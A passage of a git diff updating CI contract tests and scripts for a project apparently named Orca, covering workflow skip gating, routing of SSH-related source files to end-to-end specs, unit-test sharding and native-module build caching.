+    expect(result.stdout).toContain('git_compatibility=false\n')
+    expect(result.stdout).toContain('package=false\n')
+    expect(result.stdout).toContain('test=true\n')
+  })
+})
+
+describe('PR Checks skip wiring', () => {
   it('classifies the PR range with a tested script and expands renames', () => {
     const classify = prWorkflow.jobs.code_paths.steps.find(
       (step) => step.name === 'Classify changed paths'
@@ -65,9 +253,12 @@ describe('PR Checks docs-only skip wiring', () => {
     expect(classify.run).toContain('--no-renames')
     expect(classify.run).toContain('--merge-base "$BASE_SHA" "$HEAD_SHA"')
     expect(classify.run).toContain('node config/scripts/pr-code-change-scope.mjs')
-    expect(prWorkflow.jobs.code_paths.outputs.should_run).toBe(
-      '${{ steps.filter.outputs.should_run }}'
-    )
+    expect(classify.run).toContain('tee -a "$GITHUB_OUTPUT"')
+    for (const jobName of ['should_run', 'native_cache_changed', ...expensiveJobs]) {
+      expect(prWorkflow.jobs.code_paths.outputs[jobName], jobName).toBe(
+        `\${{ steps.filter.outputs.${jobName} }}`
+      )
+    }
   })
 
   it('keeps the cheap root-directory guard on docs-only PRs', () => {
@@ -75,11 +266,26 @@ describe('PR Checks docs-only skip wiring', () => {
     expect(prWorkflow.jobs.root_directory_guard.needs).toBeUndefined()
   })
 
-  it('skips expensive jobs unless the detector says the PR has code', () => {
-    for (const jobName of expensiveJobs) {
+  it('gates each expensive job on its classifier and cache prerequisite', () => {
+    for (const jobName of expensiveJobs.filter((jobName) => jobName !== 'test')) {
       expect(prWorkflow.jobs[jobName].needs, jobName).toEqual(['code_paths'])
-      expect(prWorkflow.jobs[jobName].if, jobName).toBe(gatedIf)
+      expect(prWorkflow.jobs[jobName].if, jobName).toBe(
+        `needs.code_paths.outputs.${jobName} == 'true'`
+      )
     }
+    expect(prWorkflow.jobs.test.needs).toEqual(['code_paths', 'test_native_cache'])
+    expect(prWorkflow.jobs.test.if).toContain("needs.code_paths.outputs.test == 'true'")
+    expect(prWorkflow.jobs.test.if).toContain("needs.test_native_cache.result == 'success'")
+    expect(prWorkflow.jobs.test.if).toContain("needs.test_native_cache.result == 'skipped'")
+    expect(prWorkflow.jobs.test_native_cache.needs).toEqual(['code_paths'])
+    expect(prWorkflow.jobs.test_native_cache.if).toBe(
+      "needs.code_paths.outputs.native_cache_changed == 'true'"
+    )
+    expect(prWorkflow.jobs.test_native_cache.strategy).toBeUndefined()
+    const primerInstall = prWorkflow.jobs.test_native_cache.steps.find(
+      (step) => step.uses === './.github/actions/install-node-dependencies'
+    )
+    expect(primerInstall.with['node-version']).toBe('24')
   })
 
   it('skips e2e detection on docs-only PRs without dropping the draft gate', () => {
@@ -89,19 +295,23 @@ describe('PR Checks docs-only skip wiring', () => {
     )
   })
 
-  it('lets verify pass when expensive jobs are skipped for docs-only PRs', () => {
+  it('lets verify pass skipped jobs the classifier turned off', () => {
     const verifyStep = prWorkflow.jobs.verify.steps.find(
       (step) => step.name === 'Require successful checks'
     )
     expect(prWorkflow.jobs.verify.needs[0]).toBe('code_paths')
     expect(verifyStep.env.SHOULD_RUN).toBe('${{ needs.code_paths.outputs.should_run }}')
-    expect(verifyStep.run).toContain('"$SHOULD_RUN" != "true"')
-    const docsOnlyBranch = verifyStep.run.slice(
-      0,
-      verifyStep.run.indexOf('# Require success when the PR has code-relevant changes')
-    )
-    expect(docsOnlyBranch).toContain('if [ "$result" != "skipped" ]')
-    expect(docsOnlyBranch).not.toContain('"$result" != "success"')
     expect(verifyStep.run).toContain('"$ROOT_DIRECTORY_GUARD" != "success"')
+    expect(verifyStep.run).toContain('# Require success when the PR has code-relevant changes')
+    expect(verifyStep.run).toContain('expected skipped')
+    expect(verifyStep.run).toContain('expected success')
+    for (const job of prWorkflow.jobs.verify.needs) {
+      if (job === 'code_paths' || job === 'root_directory_guard') {
+        continue
+      }
+      const envVar = `${job.replaceAll('-', '_').toUpperCase()}_SHOULD_RUN`
+      expect(verifyStep.env[envVar]).toBe(`\${{ needs.code_paths.outputs.${job} }}`)
+      expect(verifyStep.run).toContain(`"$${envVar}"`)
+    }
   })
 })
diff --git a/config/scripts/pr-e2e-gate-contract.test.mjs b/config/scripts/pr-e2e-gate-contract.test.mjs
index 2c1243d04fa..8cd622b300c 100644
--- a/config/scripts/pr-e2e-gate-contract.test.mjs
+++ b/config/scripts/pr-e2e-gate-contract.test.mjs
@@ -1,9 +1,14 @@
-import { existsSync, readFileSync } from 'node:fs'
+import { existsSync, readdirSync, readFileSync } from 'node:fs'
 import { join, resolve } from 'node:path'
 import { parse as parseJsonc } from 'jsonc-parser'
 import { describe, expect, it } from 'vitest'
 import { parse as parseYaml } from 'yaml'
-import { PR_E2E_SOURCE_ROUTES, selectPrE2eSpecs } from './pr-e2e-source-routing.mjs'
+import {
+  hasSshSourceChange,
+  PR_E2E_SOURCE_ROUTES,
+  selectPrE2eSpecs,
+  SSH_SOURCE_ROUTE_IDS
+} from './pr-e2e-source-routing.mjs'
 
 const projectDir = resolve(import.meta.dirname, '../..')
 const prWorkflow = parseYaml(readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8'))
@@ -100,17 +105,19 @@ describe('PR E2E gate contract', () => {
     // job without adding it to the strict loop fails here instead of silently
     // leaving that job unenforced. This is what caught GIT_COMPATIBILITY and
     // SHELL_CONTRACTS being absent from an earlier hardcoded list.
-    // Why lastIndexOf: the docs-only branch has its own loop that allows skipped.
     const successMarker = '# Require success when the PR has code-relevant changes'
-    const successLoop = verifyStep.run.slice(
-      verifyStep.run.indexOf(successMarker),
-      verifyStep.run.lastIndexOf('done')
-    )
+    const successLoop = verifyStep.run.slice(verifyStep.run.indexOf(successMarker))
     expect(successLoop.length).toBeGreaterThan(0)
+    expect(verifyStep.run).toContain('"$CODE_PATHS" != "success"')
+    expect(verifyStep.run).toContain('"$ROOT_DIRECTORY_GUARD" != "success"')
     for (const job of prWorkflow.jobs.verify.needs) {
-      const envVar = job.toUpperCase()
+      const envVar = job.replaceAll('-', '_').toUpperCase()
       expect(verifyStep.env[envVar]).toBe(`\${{ needs.${job}.result }}`)
+      if (job === 'code_paths' || job === 'root_directory_guard') {
+        continue
+      }
       expect(successLoop).toContain(`"$${envVar}"`)
+      expect(verifyStep.env[`${envVar}_SHOULD_RUN`]).toBe(`\${{ needs.code_paths.outputs.${job} }}`)
     }
   })
 
@@ -157,6 +164,18 @@ describe('PR E2E gate contract', () => {
     expect(sshDockerRunner).toContain("'electron-headful'")
   })
 
+  it('reuses the composite install action instead of duplicating pnpm setup', () => {
+    const installFor = (jobName) =>
+      e2eWorkflow.jobs[jobName].steps.find(
+        (step) => step.uses === './.github/actions/install-node-dependencies'
+      )
+
+    expect(installFor('build').with['native-runtime']).toBe('node')
+    for (const jobName of ['e2e', 'changed-e2e', 'ssh-docker-watcher-isolation']) {
+      expect(installFor(jobName).with['native-runtime'], jobName).toBe('electron')
+    }
+  })
+
   it('installs zsh in every Linux lane that can run paired startup readiness', () => {
     for (const jobName of ['e2e', 'changed-e2e', 'ssh-docker-watcher-isolation']) {
       const installStep = e2eWorkflow.jobs[jobName].steps.find((step) =>
@@ -195,6 +214,8 @@ describe('PR E2E gate contract', () => {
       'src/main/providers/ssh-',
       'src/main/ipc/pty',
       'src/relay/',
+      'src/shared/ssh-',
+      'src/renderer/src/store/slices/direct-ssh-',
       'src/renderer/src/components/terminal-pane/remote-runtime-'
     ]
     for (const authority of sshSourceAuthorities) {
@@ -203,10 +224,24 @@ describe('PR E2E gate contract', () => {
       )
     }
 
+    // Why named files rather than prefixes: these seams are single modules, and a prefix
+    // here would route their unrelated neighbours.
+    for (const file of [
+      'src/main/runtime/public-ssh-state.ts',
+      'src/renderer/src/startup/ssh-startup-reconnect.ts',
+      'src/renderer/src/store/slices/ssh.ts'
+    ]) {
+      expect(selectPrE2eSpecs([file]), file).toContain(
+        'tests/e2e/ssh-docker-reconnect-pane-restore.spec.ts'
+      )
+    }
+
     const mappedSpecs = [
       'tests/e2e/pty-input-write-queue-ssh.spec.ts',
       'tests/e2e/ssh-cold-activation-restore.spec.ts',
       'tests/e2e/ssh-docker-reconnect-pane-restore.spec.ts',
+      'tests/e2e/ssh-port-forward-lifecycle.spec.ts',
+      'tests/e2e/ssh-reconnect-tab-destruction.spec.ts',
       'tests/e2e/ssh-startup-exec-readiness.spec.ts',
       'tests/e2e/ssh-terminal-window-wake-stale-grid-repro.spec.ts'
     ]
@@ -235,6 +270,140 @@ describe('PR E2E gate contract', () => {
     expect(changedInstall.run).toContain('openssh-client')
   })
 
+  it('routes direct-SSH workspace and tab restore from its unnamed source seams', () => {
+    // Why by name: none of these carry "ssh", so the SSH authorities above never reach them
+    // — a closed-tab tombstone and a dropped default-tabs marker both shipped through it.
+    for (const file of [
+      'src/renderer/src/hooks/remote-workspace-session-merge.ts',
+      'src/main/ipc/remote-workspace-snapshot-normalization.ts',
+      'src/renderer/src/lib/worktree-initial-terminal-seeding.ts',
+      'src/renderer/src/lib/worktree-default-terminal-tabs.ts',
+      'src/shared/remote-workspace-session-projection.ts',
+      'src/renderer/src/components/terminal/initial-terminal.ts'
+    ]) {
+      const specs = selectPrE2eSpecs([file])
+      expect(specs, file).toContain('tests/e2e/ssh-cold-activation-restore.spec.ts')
+      expect(specs, file).toContain('tests/e2e/ssh-reconnect-tab-destruction.spec.ts')
+    }
+
+    expect(
+      selectPrE2eSpecs(['src/renderer/src/hooks/remote-workspace-session-merge.test.ts'])
+    ).toEqual([])
+  })
+
+  it('triggers the Docker-SSH lane from SSH source, not from a spec name', () => {
+    // The behavioural half of the invariant, and the part that actually matters: an SSH source
+    // edit is recognised as one, through the same routes that select the specs.
+    for (const file of [
+      'src/main/ssh/connection.ts',
+      'src/relay/pty-handler.ts',
+      'src/renderer/src/store/slices/direct-ssh-pane-retry-ledger.ts',
+      'src/renderer/src/hooks/remote-workspace-session-merge.ts',
+      'src/main/ipc/remote-workspace-snapshot-normalization.ts'
+    ]) {
+      expect(hasSshSourceChange([file]), file).toBe(true)
+    }
+    for (const file of [
+      'src/main/git/git-status.ts',
+      'src/renderer/src/components/tab-bar/BrowserTab.tsx',
+      'src/main/ssh/connection.test.ts'
+    ]) {
+      expect(hasSshSourceChange([file]), file).toBe(false)
+    }
+
+    // Why: the signal must stay derived from the routes. A route id that no longer exists would
+    // silently narrow it to nothing.
+    for (const id of SSH_SOURCE_ROUTE_IDS) {
+      expect(
+        PR_E2E_SOURCE_ROUTES.map((route) => route.id),
+        id
+      ).toContain(id)
+    }
+
+    // Why text and not structure: a job `if:` is only ever available as a string. The strongest
+    // available assertion is that the source signal is its own disjunct, so the lane no longer
+    // depends on a spec name surviving in a route's spec list.
+    const sshLaneCondition = e2eWorkflow.jobs['ssh-docker-watcher-isolation'].if
+    expect(sshLaneCondition).toContain("inputs.ssh_source_changed == 'true' ||")
+
+    expect(e2eWorkflow.on.workflow_call.inputs.ssh_source_changed.type).toBe('string')
+    expect(prWorkflow.jobs['e2e-paths'].outputs.ssh_source_changed).toBe(
+      '${{ steps.filter.outputs.ssh_source_changed }}'
+    )
+    expect(prWorkflow.jobs.e2e.with.ssh_source_changed).toBe(
+      '${{ needs.e2e-paths.outputs.ssh_source_changed }}'
+    )
+    expect(filterStep.run).toContain('pr-e2e-source-routing.mjs --ssh-source')
+    expect(filterStep.run).toContain('ssh_source_changed=$SSH_SOURCE_CHANGED')
+  })
+
+  it('gives every Docker-gated SSH spec a lane that runs it', () => {
+    // Why this shape: the sharded lanes set no ORCA_E2E_SSH_DOCKER, so a Docker-gated spec
+    // that no runner names runs nowhere and still reports green — the silent skip this file
+    // exists to prevent. Asserting reachability rather than a literal keeps that true when
+    // the lanes move.
+    // Why these two are exempt: each needs something CI cannot give it, recorded in
+    // run-ssh-docker-e2e.mjs so the gap stays legible rather than looking like coverage.
+    const unreachableSpecs = new Set([
+      'tests/e2e/ssh-docker-relay-perf.spec.ts',
+      'tests/e2e/ssh-codex-display-artifacts-repro.spec.ts',
+      'tests/e2e/ssh-docker-bulk-open-freeze-repro.spec.ts'
+    ])
+    // Why comments are stripped: this file's own runner lists the two exempt specs by name in a
+    // prose comment. A substring scan over raw text would count any spec merely *discussed* in a
+    // runner as claimed by it -- the silent skip this assertion exists to catch, re-entering
+    // through the documentation.
+    const stripComments = (text) =>
+      text.replace(/\/\*[\s\S]*?\*\//g, '').replace(/^\s*\/\/.*$/gm, '')
+    const laneRunners = [
+      'run-ssh-docker-e2e.mjs',
+      'run-ssh-docker-watcher-isolation-e2e.mjs',
+      'run-ssh-docker-terminal-parking-e2e.mjs'
+    ].map((file) => stripComments(readFileSync(join(projectDir, 'config/scripts', file), 'utf8')))
+
+    // Why a comparison and not the bare name: preview and demo specs cite the flag in a
+    // "how to run me" comment without gating on it. Why a regex rather than one literal: an
+    // equally-valid spelling (double quotes, or a `!==` guard) would escape a fixed-string scan
+    // and the spec would silently leave the contract.
+    const dockerGateExpression = /ORCA_E2E_SSH_DOCKER\s*[!=]==\s*['"]1['"]/
+    const dockerGatedSpecs = readdirSync(join(projectDir, 'tests/e2e'))
+      .filter((file) => file.endsWith('.spec.ts'))
+      .map((file) => `tests/e2e/${file}`)
+      .filter((spec) => dockerGateExpression.test(readFileSync(join(projectDir, spec), 'utf8')))
+    expect(dockerGatedSpecs.length).toBeGreaterThan(0)
+
+    const unclaimed = dockerGatedSpecs.filter(
+      (spec) => !unreachableSpecs.has(spec) && !laneRunners.some((runner) => runner.includes(spec))
+    )
+    expect(
+      unclaimed,
+      `Docker-gated specs claimed by no lane runner: ${unclaimed.join(', ')}`
+    ).toEqual([])
+
+    // Why: an exemption that outlives its spec would quietly excuse a real gap.
+    for (const spec of unreachableSpecs) {
+      expect(dockerGatedSpecs, spec).toContain(spec)
+      // Why also assert absence from every runner: `unreachableSpecs` short-circuits the
+      // unclaimed check above, so a spec could be documented as exempt while a runner still
+      // invokes it -- an exemption that reads as coverage removal but changes nothing, and a
+      // lane that stays red for a reason the file says it excluded.
+      for (const runner of laneRunners) {
+        expect(runner.includes(spec), `${spec} is exempt but still invoked by a lane runner`).toBe(
+          false
+        )
+      }
+    }
+
+    const laneStep = e2eWorkflow.jobs['ssh-docker-watcher-isolation'].steps.find(
+      (step) => step.name === 'Run remaining Docker SSH E2E'
+    )
+    expect(laneStep.run).toContain('test:e2e:ssh-docker')
+    // Why: the added serial tests, several budgeting 4-10 minutes each, do not fit the old 35.
+    expect(
+      e2eWorkflow.jobs['ssh-docker-watcher-isolation']['timeout-minutes']
+    ).toBeGreaterThanOrEqual(60)
+  })
+
   it('scopes the VM rollback oracle to the PR range and recipe schema authorities', () => {
     expect(rollbackStep.run).toContain('--merge-base "$BASE_SHA" "$HEAD_SHA"')
     expect(rollbackStep.run).toContain('src/shared/ephemeral-vm-recipes.ts')
diff --git a/config/scripts/pr-e2e-source-routing.mjs b/config/scripts/pr-e2e-source-routing.mjs
index 04f570f0094..108a4d5ab10 100644
--- a/config/scripts/pr-e2e-source-routing.mjs
+++ b/config/scripts/pr-e2e-source-routing.mjs
@@ -18,12 +18,32 @@ export const PR_E2E_SOURCE_ROUTES = [
       'tests/e2e/pty-input-write-queue-ssh.spec.ts',
       'tests/e2e/ssh-cold-activation-restore.spec.ts',
       'tests/e2e/ssh-docker-reconnect-pane-restore.spec.ts',
+      'tests/e2e/ssh-port-forward-lifecycle.spec.ts',
+      'tests/e2e/ssh-reconnect-tab-destruction.spec.ts',
       'tests/e2e/ssh-startup-exec-readiness.spec.ts',
       'tests/e2e/ssh-terminal-window-wake-stale-grid-repro.spec.ts'
     ],
+    // Why the store/startup/shared additions: the SSH-named authorities stop at the main
+    // process and the pane component, but the reconnect ledgers and retained-payload
+    // admission that decide whether a pane rebinds live in the renderer store.
     matches: (file) =>
       isProductSource(file) &&
-      /^(?:src\/main\/ssh\/|src\/main\/providers\/ssh-|src\/main\/ipc\/(?:ssh-|pty)|src\/relay\/|src\/renderer\/src\/components\/terminal-pane\/(?:pty-|ssh-|remote-runtime-|terminal-parked-pty))/.test(
+      /^(?:src\/main\/ssh\/|src\/main\/providers\/ssh-|src\/main\/ipc\/(?:ssh-|pty)|src\/main\/runtime\/(?:public-ssh-state|ssh-file-explorer-chunk-read)\.ts|src\/relay\/|src\/shared\/(?:ssh-|skill-ssh-relay-contract)|src\/renderer\/src\/startup\/(?:ssh-startup-reconnect|startup-ssh-connection-restore)\.ts|src\/renderer\/src\/store\/slices\/(?:ssh|direct-ssh-)|src\/renderer\/src\/components\/terminal-pane\/(?:pty-|ssh-|remote-runtime-|terminal-parked-pty))/.test(
+        file
+      )
+  },
+  {
+    // Why a sibling route rather than more paths on ssh-terminal-source: these modules carry
+    // no "ssh" in their names, and only the two restore specs gate them. Folding them in
+    // would run the whole SSH terminal list for a tab-tombstone edit.
+    id: 'ssh-workspace-session-restore',
+    specs: [
+      'tests/e2e/ssh-cold-activation-restore.spec.ts',
+      'tests/e2e/ssh-reconnect-tab-destruction.spec.ts'
+    ],
+    matches: (file) =>
+      isProductSource(file) &&
+      /^(?:src\/main\/ipc\/remote-workspace|src\/shared\/remote-workspace-|src\/renderer\/src\/hooks\/remote-workspace-|src\/renderer\/src\/lib\/worktree-(?:initial-terminal-seeding|default-terminal-tabs)\.ts|src\/renderer\/src\/components\/terminal\/initial-terminal)/.test(
         file
       )
   },
@@ -131,6 +151,18 @@ export function selectPrE2eSpecs(changedPaths, reportRoute = () => undefined) {
   return [...specs].sort((left, right) => left.localeCompare(right))
 }
 
+/** Routes whose authorities are SSH execution source, and so require the Docker-SSH lane. */
+export const SSH_SOURCE_ROUTE_IDS = ['ssh-terminal-source', 'ssh-workspace-session-restore']
+
+// Why derive this from the routes instead of a second path list: the Docker-SSH lane used to
+// trigger only because one route happened to list a startup-readiness spec, so pruning that
+// spec would have silently retired the lane. Two lists that must agree is how that drifted.
+export function hasSshSourceChange(changedPaths) {
+  return PR_E2E_SOURCE_ROUTES.filter((route) => SSH_SOURCE_ROUTE_IDS.includes(route.id)).some(
+    (route) => changedPaths.some(route.matches)
+  )
+}
+
 if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
   let input = ''
   process.stdin.setEncoding('utf8')
@@ -138,6 +170,10 @@ if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href)
     input += chunk
   }
   const changedPaths = input.split(/\r?\n/).filter(Boolean)
-  const specs = selectPrE2eSpecs(changedPaths, (message) => console.error(message))
-  process.stdout.write(`${JSON.stringify(specs)}\n`)
+  if (process.argv.includes('--ssh-source')) {
+    process.stdout.write(`${hasSshSourceChange(changedPaths)}\n`)
+  } else {
+    const specs = selectPrE2eSpecs(changedPaths, (message) => console.error(message))
+    process.stdout.write(`${JSON.stringify(specs)}\n`)
+  }
 }
diff --git a/config/scripts/pr-workflow-parallelism.test.mjs b/config/scripts/pr-workflow-parallelism.test.mjs
index 42540f6bcb4..29f532b9436 100644
--- a/config/scripts/pr-workflow-parallelism.test.mjs
+++ b/config/scripts/pr-workflow-parallelism.test.mjs
@@ -3,6 +3,8 @@ import { parse } from 'yaml'
 import { describe, expect, it } from 'vitest'
 
 const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
+const unitTestWorkflow = parse(readFileSync('.github/workflows/unit-tests.yml', 'utf8'))
+const nodeNextWorkflow = parse(readFileSync('.github/workflows/node-next-compat.yml', 'utf8'))
 const dependencyAction = parse(
   readFileSync('.github/actions/install-node-dependencies/action.yml', 'utf8')
 )
@@ -47,22 +49,35 @@ describe('PR workflow parallelism', () => {
     expect(workflow.permissions).toEqual({ contents: 'read' })
   })
 
-  it('shards the general test suite across Node 24 and Node 26', () => {
-    expect(workflow.jobs.test.strategy.matrix.node).toEqual(['24', '26'])
-    expect(workflow.jobs.test.strategy.matrix.shard).toEqual(
-      Array.from({ length: 16 }, (_, index) => index + 1)
+  it('runs Node 24 on PRs and the same eight-shard suite on Node 26 daily', () => {
+    const sharedTest = unitTestWorkflow.jobs.test
+    const testStep = sharedTest.steps.find((step) => step.name === 'Test shard')
+    const installStep = sharedTest.steps.find(
+      (step) => step.uses === './.github/actions/install-node-dependencies'
     )
-    expect(workflow.jobs.test.strategy.matrix.shard_total).toEqual([16])
-    const testStep = workflow.jobs.test.steps.find((step) => step.name === 'Test shard')
-    const installStep = workflow.jobs.test.steps.find(
+    const primerInstall = workflow.jobs.test_native_cache.steps.find(
       (step) => step.uses === './.github/actions/install-node-dependencies'
     )
 
+    expect(workflow.jobs.test.uses).toBe('./.github/workflows/unit-tests.yml')
+    expect(JSON.parse(workflow.jobs.test.with.node_versions)).toEqual(['24'])
+    expect(nodeNextWorkflow.jobs.test.uses).toBe('./.github/workflows/unit-tests.yml')
+    expect(JSON.parse(nodeNextWorkflow.jobs.test.with.node_versions)).toEqual(['26'])
+    expect(nodeNextWorkflow.on.schedule).toHaveLength(1)
+    expect(nodeNextWorkflow.on.workflow_dispatch).toBeNull()
+    expect(sharedTest.strategy.matrix.node).toBe('${{ fromJSON(inputs.node_versions) }}')
+    expect(sharedTest.strategy.matrix.shard).toEqual(
+      Array.from({ length: 8 }, (_, index) => index + 1)
+    )
+    expect(sharedTest.strategy.matrix.shard_total).toEqual([8])
     expect(installStep.with['node-version']).toBe('${{ matrix.node }}')
     expect(testStep.run).toContain('--shard=${{ matrix.shard }}/${{ matrix.shard_total }}')
     for (const testFile of nativeShellContractFiles) {
       expect(testStep.run).toContain(`--exclude=${testFile}`)
     }
+    expect(primerInstall.with['native-runtime']).toBe('node')
+    expect(primerInstall.with['node-version']).toBe('24')
+    expect(workflow.jobs.test.needs).toContain('test_native_cache')
   })
 
   it('runs real-shell coverage once outside the general shards', () => {
@@ -208,6 +223,8 @@ describe('PR workflow parallelism', () => {
 
     expect(pnpmIndex).toBeLessThan(nodeIndex)
     expect(pnpmIndex).toBeLessThan(requestedNodeIndex)
+    const packageManagerVersion = /^pnpm@([^+]+)/.exec(packageJson.packageManager)?.[1]
+    expect(steps[pnpmIndex].with.version).toBe(packageManagerVersion)
     expect(steps[nodeIndex].with.cache).toBe('pnpm')
     expect(steps[nodeIndex].if).toBe("inputs.node-version == ''")
     expect(steps[requestedNodeIndex].if).toBe("inputs.node-version != ''")
@@ -232,22 +249,24 @@ describe('PR workflow parallelism', () => {
       workflow.jobs[jobName].steps.find(
         (step) => step.uses === './.github/actions/install-node-dependencies'
       )
+    const sharedTestInstall = unitTestWorkflow.jobs.test.steps.find(
+      (step) => step.uses === './.github/actions/install-node-dependencies'
+    )
 
-    for (const jobName of [
-      'static_analysis',
-      'typecheck',
-      'git_compatibility',
-      'xterm_patch_sync'
-    ]) {
+    for (const jobName of ['typecheck', 'git_compatibility', 'xterm_patch_sync']) {
       expect(installFor(jobName).with, jobName).toBeUndefined()
     }
+    expect(installFor('static_analysis').with['native-runtime']).toBe('node')
     expect(installFor('shell_contracts').with['native-runtime']).toBe('node')
-    expect(installFor('test').with['native-runtime']).toBe('node')
+    expect(sharedTestInstall.with['native-runtime']).toBe('node')
     expect(installFor('package').with['native-runtime']).toBe('electron')
+    expect(installFor('package_windows').with['native-runtime']).toBe('node')
+    expect(installFor('package_windows').with['persist-native-cache']).toBe('false')
 
+    expect(dependencyAction.inputs['persist-native-cache'].default).toBe('true')
     expect(
       dependencyAction.runs.steps.find((step) => step.name === 'Use external node-gyp').if
-    ).toBe("inputs.native-runtime != 'none'")
+    ).toBe("runner.os == 'Linux' && inputs.native-runtime != 'none'")
     const dependencyInstall = dependencyAction.runs.steps.find(
       (step) => step.name === 'Install dependencies'
     )
@@ -295,14 +314,42 @@ describe('PR workflow parallelism', () => {
     // overwritten and one after the rebuild would never save a hit.
     expect(installIndex).toBeLessThan(cacheIndex)
     expect(cacheIndex).toBeLessThan(prepareIndex)
-    expect(steps[cacheIndex].if).toBe("inputs.native-runtime != 'none'")
+    expect(steps[cacheIndex].if).toBe(
+      "inputs.native-runtime != 'none' && inputs.persist-native-cache != 'false'"
+    )
+    const restoreOnly = steps.find(
+      (step) => step.name === 'Restore compiled native modules without saving'
+    )
+    expect(restoreOnly.if).toBe(
+      "inputs.native-runtime != 'none' && inputs.persist-native-cache == 'false'"
+    )
+    expect(restoreOnly.uses).toBe('actions/cache/restore@v5')
     // Native artifacts are ABI-bound: a key missing either dimension serves a build
     // that cannot load, and ensure-native-runtime would recompile it anyway.
-    expect(steps[cacheIndex].with.key).toContain('${{ inputs.native-runtime }}')
-    expect(steps[cacheIndex].with.key).toContain('steps.requested-node.outputs.node-version')
-    expect(steps[cacheIndex].with.key).toContain('config/patches/node-pty@1.1.0.patch')
-    // No restore-keys: a partial-match key is exactly the ABI-mismatched build above.
-    expect(steps[cacheIndex].with['restore-keys']).toBeUndefined()
+    for (const cacheStep of [steps[cacheIndex], restoreOnly]) {
+      expect(cacheStep.with.key).toContain('${{ inputs.native-runtime }}')
+      expect(cacheStep.with.key).toContain('${{ runner.os }}')
+      expect(cacheStep.with.key).toContain('${{ runner.arch }}')
+      expect(cacheStep.with.key).toContain('steps.requested-node.outputs.node-version')
+      expect(cacheStep.with.key).toContain('steps.native-cache-scope.outputs.scope')
+      expect(cacheStep.with.key).toContain('config/patches/node-pty@1.1.0.patch')
+      expect(cacheStep.with.key).toContain(
+        'config/patches/@vscode__windows-process-tree@0.8.0.patch'
+      )
+      expect(cacheStep.with.key).toContain('.github/actions/install-node-dependencies/action.yml')
+      expect(cacheStep.with.key).toContain('config/scripts/ensure-native-runtime.mjs')
+      expect(cacheStep.with.key).toContain('config/scripts/rebuild-native-deps.mjs')
+      expect(cacheStep.with.path).toContain('node-pty@*/node_modules/node-pty/build')
+      expect(cacheStep.with.path).toContain('windows-native-registry@')
+      expect(cacheStep.with.path).toContain('@vscode+windows-process-tree@')
+      expect(cacheStep.with['restore-keys']).toBeUndefined()
+    }
+    const cacheScope = steps.find((step) => step.name === 'Resolve native cache scope')
+    expect(cacheScope.if).toBe("inputs.native-runtime != 'none'")
+    expect(cacheScope.run).toContain('/etc/os-release')
+    expect(dependencyAction.outputs['native-cache-scope'].value).toBe(
+      '${{ steps.native-cache-scope.outputs.scope }}'
+    )
   })
 
   it('reuses TypeScript incremental state across typecheck runs', () => {
@@ -346,6 +393,7 @@ describe('PR workflow parallelism', () => {
       'shell_contracts',
       'test',
       'orcad_browser',
+      'cross-version-wire',
       'managed_hook_node18',
       'package',
       'package_windows'
@@ -359,5 +407,7 @@ describe('PR workflow parallelism', () => {
     // ORCA_BROWSER_EXECUTABLE, so it only guards anything if verify actually reads it.
     expect(verifyStep.env.ORCAD_BROWSER).toBe('${{ needs.orcad_browser.result }}')
     expect(verifyStep.run).toContain('"$ORCAD_BROWSER"')
+    expect(verifyStep.env.CROSS_VERSION_WIRE).toBe('${{ needs.cross-version-wire.result }}')
+    expect(verifyStep.run).toContain('"$CROSS_VERSION_WIRE"')
   })
 })
diff --git a/config/scripts/rebuild-native-deps.mjs b/config/scripts/rebuild-native-deps.mjs
index 78e25d3634c..4eca4bac33a 100644
--- a/config/scripts/rebuild-native-deps.mjs
+++ b/config/scripts/rebuild-native-deps.mjs
@@ -401,14 +401,23 @@ function getPatchedNodePtyRebuildReason() {
     return null
   }
 
-  // Why: Orca patches node-pty's native Unix spawn path; upstream prebuilds can
-  // load successfully in Electron while missing the patched fd/error handling.
+  // Why: Orca patches node-pty's native Unix spawn path and Windows job-object
+  // exports; upstream prebuilds can load while missing those patches.
   const nodePtyDir = resolve(projectDir, 'node_modules', 'node-pty')
-  const artifactPaths = [resolve(nodePtyDir, 'build', 'Release', 'pty.node')]
-  // Why: node-pty only builds spawn-helper on macOS; Linux builds only pty.node.
-  if (process.platform === 'darwin') {
-    artifactPaths.push(resolve(nodePtyDir, 'build', 'Release', 'spawn-helper'))
-  }
+  const artifactPaths =
+    rebuildPlatform === 'win32'
+      ? [
+          resolve(nodePtyDir, 'build', 'Release', 'conpty.node'),
+          ...NODE_PTY_CONPTY_RUNTIME_FILES.map((filename) =>
+            resolve(nodePtyDir, 'build', 'Release', 'conpty', filename)
+          )
+        ]
+      : [
+          resolve(nodePtyDir, 'build', 'Release', 'pty.node'),
+          ...(osPlatform() === 'darwin'
+            ? [resolve(nodePtyDir, 'build', 'Release', 'spawn-helper')]
+            : [])
+        ]
   const missingArtifact = artifactPaths.find((artifactPath) => !existsSync(artifactPath))
 
   if (!missingArtifact) {
@@ -422,9 +431,6 @@ function requiresPatchedNodePtySourceBuild() {
   if (!onlyModules.includes('node-pty')) {
     return false
   }
-  if (rebuildPlatform === 'win32') {
-    return false
-  }
   if (rebuildPlatform !== osPlatform() || rebuildArch !== process.arch) {
     return false
   }
diff --git a/config/scripts/rebuild-native-deps.test.mjs b/config/scripts/rebuild-native-deps.test.mjs
index b158ee57f21..5ebc39dfcaa 100644
--- a/config/scripts/rebuild-native-deps.test.mjs
+++ b/config/scripts/rebuild-native-deps.test.mjs
@@ -586,6 +586,13 @@ function writeNodePtyPatchFile(projectDir) {
 function writePatchedNodePtyBuildArtifacts(projectDir) {
   const buildDir = join(projectDir, 'node_modules', 'node-pty', 'build', 'Release')
   mkdirSync(buildDir, { recursive: true })
+  if (process.platform === 'win32') {
+    writeFileSync(join(buildDir, 'conpty.node'), '')
+    mkdirSync(join(buildDir, 'conpty'), { recursive: true })
+    writeFileSync(join(buildDir, 'conpty', 'conpty.dll'), '')
+    writeFileSync(join(buildDir, 'conpty', 'OpenConsole.exe'), '')
+    return
+  }
   writeFileSync(join(buildDir, 'pty.node'), '')
   if (process.platform === 'darwin') {
     writeFileSync(join(buildDir, 'spawn-helper'), '')
diff --git a/config/scripts/run-ssh-docker-e2e.mjs b/config/scripts/run-ssh-docker-e2e.mjs
new file mode 100644
index 00000000000..a723a9a6ad0
--- /dev/null
+++ b/config/scripts/run-ssh-docker-e2e.mjs
